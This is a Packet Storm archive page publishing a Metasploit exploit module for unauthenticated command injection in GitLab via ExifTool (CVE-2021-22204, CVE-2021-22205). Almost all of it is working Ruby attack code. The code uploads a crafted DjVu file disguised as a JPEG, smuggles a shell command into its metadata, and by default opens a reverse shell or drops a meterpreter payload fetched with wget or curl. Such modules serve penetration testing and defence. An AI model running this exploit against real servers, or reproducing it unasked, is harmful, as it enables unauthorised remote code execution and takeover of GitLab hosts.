exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

GitLab Unauthenticated Remote ExifTool Command Injection

GitLab Unauthenticated Remote ExifTool Command Injection
Posted Nov 4, 2021
Authored by William Bowling, jbaines-r7 | Site metasploit.com

This Metasploit module exploits an unauthenticated file upload and command injection vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6, and 13.8.8. Exploitation will result in command execution as the git user.

tags | exploit, file upload
advisories | CVE-2021-22204, CVE-2021-22205
SHA-256 | 674d3772ec48b70f0ba624c93a36ffde9a6d313b18359aa19702fc270257ff56

GitLab Unauthenticated Remote ExifTool Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab Unauthenticated Remote ExifTool Command Injection',
'Description' => %q{
This module exploits an unauthenticated file upload and command
injection vulnerability in GitLab Community Edition (CE) and
Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6,
and 13.8.8.

Exploitation will result in command execution as the git user.
},
'License' => MSF_LICENSE,
'Author' => [
'William Bowling', # Vulnerability discovery and CVE-2021-22204 PoC
'jbaines-r7' # Metasploit module
],
'References' => [
[ 'CVE', '2021-22205' ], # GitLab
[ 'CVE', '2021-22204' ], # ExifTool
[ 'URL', 'https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/' ],
[ 'URL', 'https://hackerone.com/reports/1154542' ],
[ 'URL', 'https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis' ],
[ 'URL', 'https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/' ]
],
'DisclosureDate' => '2021-04-14',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'Space' => 290,
'DisableNops' => true,
'BadChars' => '#'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget', 'lwprequest', 'curl', 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def upload_file(file_data, timeout = 20)
random_filename = "#{rand_text_alphanumeric(6..12)}.jpg"
multipart_form = Rex::MIME::Message.new
multipart_form.add_part(
file_data,
'image/jpeg',
'binary',
"form-data; name=\"file\"; filename=\"#{random_filename}\""
)

random_uri = normalize_uri(target_uri.path, rand_text_alphanumeric(6..12))
print_status("Uploading #{random_filename} to #{random_uri}")
send_request_cgi({
'method' => 'POST',
'uri' => random_uri,
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
}, timeout)
end

def check
# Checks if the instance is a GitLab install by looking for the
# 'About GitLab' footer or a password redirect. If that's successful
# a bogus jpg image is uploaded to a bogus URI. The patched versions
# should never send the bad image to ExifTool, resulting in a 404.
# The unpatched versions should feed the image to the vulnerable
# ExifTool, resulting in a 422 error message.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/users/sign_in')
})

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

# handle two cases. First a normal install will respond with HTTP 200.
# Second, if the root password hasn't been set yet then this will
# redirect to the password reset page.
unless (res.code == 200 && res.body.include?('>About GitLab<')) ||
(res.code == 302 && res.body.include?('/users/password/edit?reset_password_token'))
return CheckCode::Safe('Not a GitLab web interface')
end

res = upload_file(rand_text_alphanumeric(6..32))
unless res
return CheckCode::Detected('The target did not respond to the upload request.')
end

case res.code
when 422
if res.body.include?('The change you requested was rejected.')
return CheckCode::Vulnerable('The error response indicates ExifTool was executed.')
end
when 404
if res.body.include?('The page could not be found')
return CheckCode::Safe('The error response indicates ExifTool was not run.')
end
end

return CheckCode::Detected
end

def execute_command(cmd, _opts = {})
# printf needs all '\' to be double escaped due to ExifTool parsing
if cmd.start_with?('printf ')
cmd = cmd.gsub('\\', '\\\\\\')
end

# header and trailer are taken from William Bowling's echo_vakzz.jpg from their original h1 disclosure.
# The 'cmd' variable is sandwiched in a qx## function.
payload_header = "AT&TFORM\x00\x00\x03\xAFDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00"\
"\x00\xAC\xFF\xFF\xDE\xBF\x99 !\xC8\x91N\xEB\f\a\x1F\xD2\xDA\x88\xE8k\xE6D\x0F,q\x02\xEEI\xD3n"\
"\x95\xBD\xA2\xC3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\b\x00\b\x18\x00d\x00\x16\x00IN"\
"CL\x00\x00\x00\x0Fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\b\x00\b\x8A\xE6\xE1"\
"\xB17\xD9\x7F*\x89\x00BG44\x00\x00\x00\x04\x01\x0F\xF9\x9FBG44\x00\x00\x00\x02\x02\nFORM\x00\x00"\
"\x03\aDJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx#"
payload_trailer = "# . \\\x0a\" b \") )" + (' ' * 421)

res = upload_file(payload_header + cmd + payload_trailer, 5)

# Successful exploitation can result in no response (connection being held open by a reverse shell)
# or, if the command executes immediately, a response with a 422.
if res && res.code != 422
fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")
end

print_good('Exploit successfully executed.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# payload is truncated by exiftool after 290 bytes. Because we need to
# expand the printf flavor by a potential factor of 2, halve the linemax.
execute_cmdstager(linemax: 144)
end
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close